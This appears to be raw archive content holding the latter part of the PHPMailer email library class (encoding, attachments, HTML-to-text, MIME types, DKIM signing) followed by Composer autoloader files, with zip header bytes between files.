$string = str_replace( array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "\r\n=2E", "\r\n", '='), rawurlencode($string) ); return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string); } /** * Backward compatibility wrapper for an old QP encoding function that was removed. * @see PHPMailer::encodeQP() * @access public * @param string $string * @param integer $line_max * @param boolean $space_conv * @return string * @deprecated Use encodeQP instead. */ public function encodeQPphp( $string, $line_max = 76, /** @noinspection PhpUnusedParameterInspection */ $space_conv = false ) { return $this->encodeQP($string, $line_max); } /** * Encode a string using Q encoding. * @link http://tools.ietf.org/html/rfc2047 * @param string $str the text to encode * @param string $position Where the text is going to be used, see the RFC for what that means * @access public * @return string */ public function encodeQ($str, $position = 'text') { // There should not be any EOL in the string $pattern = ''; $encoded = str_replace(array("\r", "\n"), '', $str); switch (strtolower($position)) { case 'phrase': // RFC 2047 section 5.3 $pattern = '^A-Za-z0-9!*+\/ -'; break; /** @noinspection PhpMissingBreakStatementInspection */ case 'comment': // RFC 2047 section 5.2 $pattern = '\(\)"'; // intentional fall-through // for this reason we build the $pattern without including delimiters and [] case 'text': default: // RFC 2047 section 5.1 // Replace every high ascii, control, =, ? and _ characters $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern; break; } $matches = array(); if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { // If the string contains an '=', make sure it's the first thing we replace // so as to avoid double-encoding $eqkey = array_search('=', $matches[0]); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], '='); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); } } // Replace every spaces to _ (more readable than =20) return str_replace(' ', '_', $encoded); } /** * Add a string or binary attachment (non-filesystem). * This method can be used to attach ascii or binary data, * such as a BLOB record from a database. * @param string $string String attachment data. * @param string $filename Name of the attachment. * @param string $encoding File encoding (see $Encoding). * @param string $type File extension (MIME) type. * @param string $disposition Disposition to use * @return void */ public function addStringAttachment( $string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment' ) { // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($filename); } // Append to $attachment array $this->attachment[] = array( 0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => $disposition, 7 => 0 ); } /** * Add an embedded (inline) attachment from a file. * This can include images, sounds, and just about any other document type. * These differ from 'regular' attachments in that they are intended to be * displayed inline with the message, not just attached for download. * This is used in HTML messages that embed the images * the HTML refers to using the $cid value. * Never use a user-supplied path to a file! * @param string $path Path to the attachment. * @param string $cid Content ID of the attachment; Use this to reference * the content when using an embedded image in HTML. * @param string $name Overrides the attachment name. * @param string $encoding File encoding (see $Encoding). * @param string $type File MIME type. * @param string $disposition Disposition to use * @return boolean True on successfully adding an attachment */ public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') { if (!self::isPermittedPath($path) or !@is_file($path)) { $this->setError($this->lang('file_access') . $path); return false; } // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } // Append to $attachment array $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => $disposition, 7 => $cid ); return true; } /** * Add an embedded stringified attachment. * This can include images, sounds, and just about any other document type. * Be sure to set the $type to an image type for images: * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'. * @param string $string The attachment binary data. * @param string $cid Content ID of the attachment; Use this to reference * the content when using an embedded image in HTML. * @param string $name * @param string $encoding File encoding (see $Encoding). * @param string $type MIME type. * @param string $disposition Disposition to use * @return boolean True on successfully adding an attachment */ public function addStringEmbeddedImage( $string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline' ) { // If a MIME type is not specified, try to work it out from the name if ($type == '' and !empty($name)) { $type = self::filenameToType($name); } // Append to $attachment array $this->attachment[] = array( 0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => $disposition, 7 => $cid ); return true; } /** * Check if an inline attachment is present. * @access public * @return boolean */ public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == 'inline') { return true; } } return false; } /** * Check if an attachment (non-inline) is present. * @return boolean */ public function attachmentExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == 'attachment') { return true; } } return false; } /** * Check if this message has an alternative body set. * @return boolean */ public function alternativeExists() { return !empty($this->AltBody); } /** * Clear queued addresses of given kind. * @access protected * @param string $kind 'to', 'cc', or 'bcc' * @return void */ public function clearQueuedAddresses($kind) { $RecipientsQueue = $this->RecipientsQueue; foreach ($RecipientsQueue as $address => $params) { if ($params[0] == $kind) { unset($this->RecipientsQueue[$address]); } } } /** * Clear all To recipients. * @return void */ public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = array(); $this->clearQueuedAddresses('to'); } /** * Clear all CC recipients. * @return void */ public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = array(); $this->clearQueuedAddresses('cc'); } /** * Clear all BCC recipients. * @return void */ public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = array(); $this->clearQueuedAddresses('bcc'); } /** * Clear all ReplyTo recipients. * @return void */ public function clearReplyTos() { $this->ReplyTo = array(); $this->ReplyToQueue = array(); } /** * Clear all recipient types. * @return void */ public function clearAllRecipients() { $this->to = array(); $this->cc = array(); $this->bcc = array(); $this->all_recipients = array(); $this->RecipientsQueue = array(); } /** * Clear all filesystem, string, and binary attachments. * @return void */ public function clearAttachments() { $this->attachment = array(); } /** * Clear all custom headers. * @return void */ public function clearCustomHeaders() { $this->CustomHeader = array(); } /** * Add an error message to the error container. * @access protected * @param string $msg * @return void */ protected function setError($msg) { $this->error_count++; if ($this->Mailer == 'smtp' and !is_null($this->smtp)) { $lasterror = $this->smtp->getError(); if (!empty($lasterror['error'])) { $msg .= $this->lang('smtp_error') . $lasterror['error']; if (!empty($lasterror['detail'])) { $msg .= ' Detail: '. $lasterror['detail']; } if (!empty($lasterror['smtp_code'])) { $msg .= ' SMTP code: ' . $lasterror['smtp_code']; } if (!empty($lasterror['smtp_code_ex'])) { $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex']; } } } $this->ErrorInfo = $msg; } /** * Return an RFC 822 formatted date. * @access public * @return string * @static */ public static function rfcDate() { // Set the time zone to whatever the default is to avoid 500 errors // Will default to UTC if it's not set properly in php.ini date_default_timezone_set(@date_default_timezone_get()); return date('D, j M Y H:i:s O'); } /** * Get the server hostname. * Returns 'localhost.localdomain' if unknown. * @access protected * @return string */ protected function serverHostname() { $result = 'localhost.localdomain'; if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) { $result = $_SERVER['SERVER_NAME']; } elseif (function_exists('gethostname') && gethostname() !== false) { $result = gethostname(); } elseif (php_uname('n') !== false) { $result = php_uname('n'); } return $result; } /** * Get an error message in the current language. * @access protected * @param string $key * @return string */ protected function lang($key) { if (count($this->language) < 1) { $this->setLanguage('en'); // set the default language } if (array_key_exists($key, $this->language)) { if ($key == 'smtp_connect_failed') { //Include a link to troubleshooting docs on SMTP connection failure //this is by far the biggest cause of support questions //but it's usually not PHPMailer's fault. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting'; } return $this->language[$key]; } else { //Return the key as a fallback return $key; } } /** * Check if an error occurred. * @access public * @return boolean True if an error did occur. */ public function isError() { return ($this->error_count > 0); } /** * Ensure consistent line endings in a string. * Changes every end of line from CRLF, CR or LF to $this->LE. * @access public * @param string $str String to fixEOL * @return string */ public function fixEOL($str) { // Normalise to \n $nstr = str_replace(array("\r\n", "\r"), "\n", $str); // Now convert LE as needed if ($this->LE !== "\n") { $nstr = str_replace("\n", $this->LE, $nstr); } return $nstr; } /** * Add a custom header. * $name value can be overloaded to contain * both header name and value (name:value) * @access public * @param string $name Custom header name * @param string $value Header value * @return void */ public function addCustomHeader($name, $value = null) { if ($value === null) { // Value passed in as name:value $this->CustomHeader[] = explode(':', $name, 2); } else { $this->CustomHeader[] = array($name, $value); } } /** * Returns all custom headers. * @return array */ public function getCustomHeaders() { return $this->CustomHeader; } /** * Create a message body from an HTML string. * Automatically inlines images and creates a plain-text version by converting the HTML, * overwriting any existing values in Body and AltBody. * Do not source $message content from user input! * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty * will look for an image file in $basedir/images/a.png and convert it to inline. * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email) * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly. * @access public * @param string $message HTML message string * @param string $basedir Absolute path to a base directory to prepend to relative paths to images * @param boolean|callable $advanced Whether to use the internal HTML to text converter * or your own custom converter @see PHPMailer::html2text() * @return string $message The transformed message Body */ public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images); if (array_key_exists(2, $images)) { if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { // Ensure $basedir has a trailing / $basedir .= '/'; } foreach ($images[2] as $imgindex => $url) { // Convert data URIs into embedded images if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) { $data = substr($url, strpos($url, ',')); if ($match[2]) { $data = base64_decode($data); } else { $data = rawurldecode($data); } $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) { $message = str_replace( $images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); } continue; } if ( // Only process relative URLs if a basedir is provided (i.e. no absolute local paths) !empty($basedir) // Ignore URLs containing parent dir traversal (..) && (strpos($url, '..') === false) // Do not change urls that are already inline images && substr($url, 0, 4) !== 'cid:' // Do not change absolute URLs, including anonymous protocol && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url) ) { $filename = basename($url); $directory = dirname($url); if ($directory == '.') { $directory = ''; } $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 if (strlen($directory) > 1 && substr($directory, -1) != '/') { $directory .= '/'; } if ($this->addEmbeddedImage( $basedir . $directory . $filename, $cid, $filename, 'base64', self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)) ) ) { $message = preg_replace( '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); } } } } $this->isHTML(true); // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better $this->Body = $this->normalizeBreaks($message); $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); if (!$this->alternativeExists()) { $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . self::CRLF . self::CRLF; } return $this->Body; } /** * Convert an HTML string into plain text. * This is used by msgHTML(). * Note - older versions of this function used a bundled advanced converter * which was been removed for license reasons in #232. * Example usage: * <code> * // Use default conversion * $plain = $mail->html2text($html); * // Use your own custom converter * $plain = $mail->html2text($html, function($html) { * $converter = new MyHtml2text($html); * return $converter->get_text(); * }); * </code> * @param string $html The HTML text to convert * @param boolean|callable $advanced Any boolean value to use the internal converter, * or provide your own callable for custom conversion. * @return string */ public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode( trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet ); } /** * Get the MIME type for a file extension. * @param string $ext File extension * @access public * @return string MIME type of file. * @static */ public static function _mime_types($ext = '') { $mimes = array( 'xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie' ); if (array_key_exists(strtolower($ext), $mimes)) { return $mimes[strtolower($ext)]; } return 'application/octet-stream'; } /** * Map a file name to a MIME type. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data. * @param string $filename A file name or full path, does not need to exist as a file * @return string * @static */ public static function filenameToType($filename) { // In case the path is a URL, strip any query string before getting extension $qpos = strpos($filename, '?'); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $pathinfo = self::mb_pathinfo($filename); return self::_mime_types($pathinfo['extension']); } /** * Multi-byte-safe pathinfo replacement. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe. * Works similarly to the one in PHP >= 5.2.0 * @link http://www.php.net/manual/en/function.pathinfo.php#107461 * @param string $path A filename or path, does not need to exist as a file * @param integer|string $options Either a PATHINFO_* constant, * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2 * @return string|array * @static */ public static function mb_pathinfo($path, $options = null) { $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''); $pathinfo = array(); if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret['dirname'] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret['basename'] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret['extension'] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret['filename'] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case 'dirname': return $ret['dirname']; case PATHINFO_BASENAME: case 'basename': return $ret['basename']; case PATHINFO_EXTENSION: case 'extension': return $ret['extension']; case PATHINFO_FILENAME: case 'filename': return $ret['filename']; default: return $ret; } } /** * Set or reset instance properties. * You should avoid this function - it's more verbose, less efficient, more error-prone and * harder to debug than setting properties directly. * Usage Example: * `$mail->set('SMTPSecure', 'tls');` * is the same as: * `$mail->SMTPSecure = 'tls';` * @access public * @param string $name The property name to set * @param mixed $value The value to set the property to * @return boolean * @TODO Should this not be using the __set() magic function? */ public function set($name, $value = '') { if (property_exists($this, $name)) { $this->$name = $value; return true; } else { $this->setError($this->lang('variable_set') . $name); return false; } } /** * Strip newlines to prevent header injection. * @access public * @param string $str * @return string */ public function secureHeader($str) { return trim(str_replace(array("\r", "\n"), '', $str)); } /** * Normalize line breaks in a string. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format. * Defaults to CRLF (for message bodies) and preserves consecutive breaks. * @param string $text * @param string $breaktype What kind of line break to use, defaults to CRLF * @return string * @access public * @static */ public static function normalizeBreaks($text, $breaktype = "\r\n") { return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text); } /** * Set the public and private key files and password for S/MIME signing. * @access public * @param string $cert_filename * @param string $key_filename * @param string $key_pass Password for private key * @param string $extracerts_filename Optional path to chain certificate */ public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; $this->sign_extracerts_file = $extracerts_filename; } /** * Quoted-Printable-encode a DKIM header. * @access public * @param string $txt * @return string */ public function DKIM_QP($txt) { $line = ''; for ($i = 0; $i < strlen($txt); $i++) { $ord = ord($txt[$i]); if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { $line .= $txt[$i]; } else { $line .= '=' . sprintf('%02X', $ord); } } return $line; } /** * Generate a DKIM signature. * @access public * @param string $signHeader * @throws phpmailerException * @return string The DKIM signature value */ public function DKIM_Sign($signHeader) { if (!defined('PKCS7_TEXT')) { if ($this->exceptions) { throw new phpmailerException($this->lang('extension_missing') . 'openssl'); } return ''; } $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); if ('' != $this->DKIM_passphrase) { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = openssl_pkey_get_private($privKeyStr); } //Workaround for missing digest algorithms in old PHP & OpenSSL versions //@link http://stackoverflow.com/a/11117338/333340 if (version_compare(PHP_VERSION, '5.3.0') >= 0 and in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) { if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) { openssl_pkey_free($privKey); return base64_encode($signature); } } else { $pinfo = openssl_pkey_get_details($privKey); $hash = hash('sha256', $signHeader); //'Magic' constant for SHA256 from RFC3447 //@link https://tools.ietf.org/html/rfc3447#page-43 $t = '3031300d060960864801650304020105000420' . $hash; $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3); $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t); if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) { openssl_pkey_free($privKey); return base64_encode($signature); } } openssl_pkey_free($privKey); return ''; } /** * Generate a DKIM canonicalization header. * @access public * @param string $signHeader Header * @return string */ public function DKIM_HeaderC($signHeader) { $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader); $lines = explode("\r\n", $signHeader); foreach ($lines as $key => $line) { list($heading, $value) = explode(':', $line, 2); $heading = strtolower($heading); $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value } $signHeader = implode("\r\n", $lines); return $signHeader; } /** * Generate a DKIM canonicalization body. * @access public * @param string $body Message Body * @return string */ public function DKIM_BodyC($body) { if ($body == '') { return "\r\n"; } // stabilize line endings $body = str_replace("\r\n", "\n", $body); $body = str_replace("\n", "\r\n", $body); // END stabilize line endings while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") { $body = substr($body, 0, strlen($body) - 2); } return $body; } /** * Create the DKIM header and body in a new message header. * @access public * @param string $headers_line Header lines * @param string $subject Subject * @param string $body Body * @return string */ public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body $DKIMquery = 'dns/txt'; // Query method $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone) $subject_header = "Subject: $subject"; $headers = explode($this->LE, $headers_line); $from_header = ''; $to_header = ''; $date_header = ''; $current = ''; foreach ($headers as $header) { if (strpos($header, 'From:') === 0) { $from_header = $header; $current = 'from_header'; } elseif (strpos($header, 'To:') === 0) { $to_header = $header; $current = 'to_header'; } elseif (strpos($header, 'Date:') === 0) { $date_header = $header; $current = 'date_header'; } else { if (!empty($$current) && strpos($header, ' =?') === 0) { $$current .= $header; } else { $current = ''; } } } $from = str_replace('|', '=7C', $this->DKIM_QP($from_header)); $to = str_replace('|', '=7C', $this->DKIM_QP($to_header)); $date = str_replace('|', '=7C', $this->DKIM_QP($date_header)); $subject = str_replace( '|', '=7C', $this->DKIM_QP($subject_header) ); // Copied header fields (dkim-quoted-printable) $body = $this->DKIM_BodyC($body); $DKIMlen = strlen($body); // Length of body $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body if ('' == $this->DKIM_identity) { $ident = ''; } else { $ident = ' i=' . $this->DKIM_identity . ';'; } $dkimhdrs = 'DKIM-Signature: v=1; a=' . $DKIMsignatureType . '; q=' . $DKIMquery . '; l=' . $DKIMlen . '; s=' . $this->DKIM_selector . ";\r\n" . "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" . "\th=From:To:Date:Subject;\r\n" . "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" . "\tz=$from\r\n" . "\t|$to\r\n" . "\t|$date\r\n" . "\t|$subject;\r\n" . "\tbh=" . $DKIMb64 . ";\r\n" . "\tb="; $toSign = $this->DKIM_HeaderC( $from_header . "\r\n" . $to_header . "\r\n" . $date_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs ); $signed = $this->DKIM_Sign($toSign); return $dkimhdrs . $signed . "\r\n"; } /** * Detect if a string contains a line longer than the maximum line length allowed. * @param string $str * @return boolean * @static */ public static function hasLineLongerThanMax($str) { //+2 to include CRLF line break for a 1000 total return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str); } /** * If a string contains any "special" characters, double-quote the name, * and escape any double quotes with a backslash. * * @param string $str * * @return string * * @see RFC822 3.4.1 */ public function quotedString($str) { if (preg_match('/[ ()<>@,;:"\/\[\]?=]/', $str)) { //If the string contains any of these chars, it must be double-quoted //and any double quotes must be escaped with a backslash return '"' . str_replace('"', '\\"', $str) . '"'; } //Return the string untouched, it doesn't need quoting return $str; } /** * Allows for public read access to 'to' property. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. * @access public * @return array */ public function getToAddresses() { return $this->to; } /** * Allows for public read access to 'cc' property. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. * @access public * @return array */ public function getCcAddresses() { return $this->cc; } /** * Allows for public read access to 'bcc' property. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. * @access public * @return array */ public function getBccAddresses() { return $this->bcc; } /** * Allows for public read access to 'ReplyTo' property. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. * @access public * @return array */ public function getReplyToAddresses() { return $this->ReplyTo; } /** * Allows for public read access to 'all_recipients' property. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. * @access public * @return array */ public function getAllRecipientAddresses() { return $this->all_recipients; } /** * Perform a callback. * @param boolean $isSent * @param array $to * @param array $cc * @param array $bcc * @param string $subject * @param string $body * @param string $from */ protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); call_user_func_array($this->action_function, $params); } } } /** * PHPMailer exception handler * @package PHPMailer */ class phpmailerException extends Exception { /** * Prettify error message output * @return string */ public function errorMessage() { $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n"; return $errorMsg; } } PKÜ�\�鿞�"vendor/composer/platform_check.phpnu�[���<?php // platform_check.php @generated by Composer $issues = array(); if (!(PHP_VERSION_ID >= 50310)) { $issues[] = 'Your Composer dependencies require a PHP version ">= 5.3.10". You are running ' . PHP_VERSION . '.'; } if ($issues) { if (!headers_sent()) { header('HTTP/1.1 500 Internal Server Error'); } if (!ini_get('display_errors')) { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL); } elseif (!headers_sent()) { echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL; } } trigger_error( 'Composer detected issues in your platform: ' . implode(' ', $issues), E_USER_ERROR ); } PKÜ�\�ӝE E !vendor/composer/autoload_real.phpnu�[���<?php // autoload_real.php @generated by Composer class ComposerAutoloaderInitc14bde14f8c86840049f5c1809c453dd { private static $loader; public static function loadClassLoader($class) { if ('Composer\Autoload\ClassLoader' === $class) { require __DIR__ . '/ClassLoader.php'; } } /** * @return \Composer\Autoload\ClassLoader */ public static function getLoader() { if (null !== self::$loader) { return self::$loader; } require __DIR__ . '/platform_check.php'; spl_autoload_register(array('ComposerAutoloaderInitc14bde14f8c86840049f5c1809c453dd', 'loadClassLoader'), true, true); self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(\dirname(__FILE__))); spl_autoload_unregister(array('ComposerAutoloaderInitc14bde14f8c86840049f5c1809c453dd', 'loadClassLoader')); $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded()); if ($useStaticLoader) { require __DIR__ . '/autoload_static.php'; call_user_func(\Composer\Autoload\ComposerStaticInitc14bde14f8c86840049f5c1809c453dd::getInitializer($loader)); } else { $map = require __DIR__ . '/autoload_namespaces.php'; foreach ($map as $namespace => $path) { $loader->set($namespace, $path); } $map = require __DIR__ . '/autoload_psr4.php'; foreach ($map as $namespace => $path) { $loader->setPsr4($namespace, $path); } $classMap = require __DIR__ . '/autoload_classmap.php'; if ($classMap) { $loader->addClassMap($classMap); } } $loader->register(true); if ($useStaticLoader) { $includeFiles = Composer\Autoload\ComposerStaticInitc14bde14f8c86840049f5c1809c453dd::$files; } else { $includeFiles = require __DIR__ . '/autoload_files.php'; } foreach ($includeFiles as $fileIdentifier => $file) { composerRequirec14bde14f8c86840049f5c1809c453dd($fileIdentifier, $file); } return $loader; } } /** * @param string $fileIdentifier * @param string $file * @return void */ function composerRequirec14bde14f8c86840049f5c1809c453dd($fileIdentifier, $file) { if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) { $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true; require $file; } } PKÜ�\�>K_[ [ "vendor/composer/autoload_files.phpnu�[���<?php // autoload_files.php @generated by Composer $vendorDir = dirname(dirname(__FILE__)); $baseDir = dirname(dirname($vendorDir)); return array( '2fb9d6f23c8e8faefc193a4cde0cab4f' => $vendorDir . '/joomla/string/src/phputf8/utf8.php', 'e6851e0ae7328fe5412fcec73928f3d9' => $vendorDir . '/joomla/string/src/phputf8/ord.php', 'd9ad1b7c85c100a18c404a13824b846e' => $vendorDir . '/joomla/string/src/phputf8/str_ireplace.php', '62bad9b6730d2f83493d2337bf61519d' => $vendorDir . '/joomla/string/src/phputf8/str_pad.php', 'c4d521b8d54308532dce032713d4eec0' => $vendorDir . '/joomla/string/src/phputf8/str_split.php', 'fa973e71cace925de2afdc692b861b1d' => $vendorDir . '/joomla/string/src/phputf8/strcasecmp.php', '0c98c2f1295d9f4d093cc77d5834bb04' => $vendorDir . '/joomla/string/src/phputf8/strcspn.php', 'a52639d843b4094945115c178a91ca86' => $vendorDir . '/joomla/string/src/phputf8/stristr.php', '73ee7d0297e683c4c2e7798ef040fb2f' => $vendorDir . '/joomla/string/src/phputf8/strrev.php', 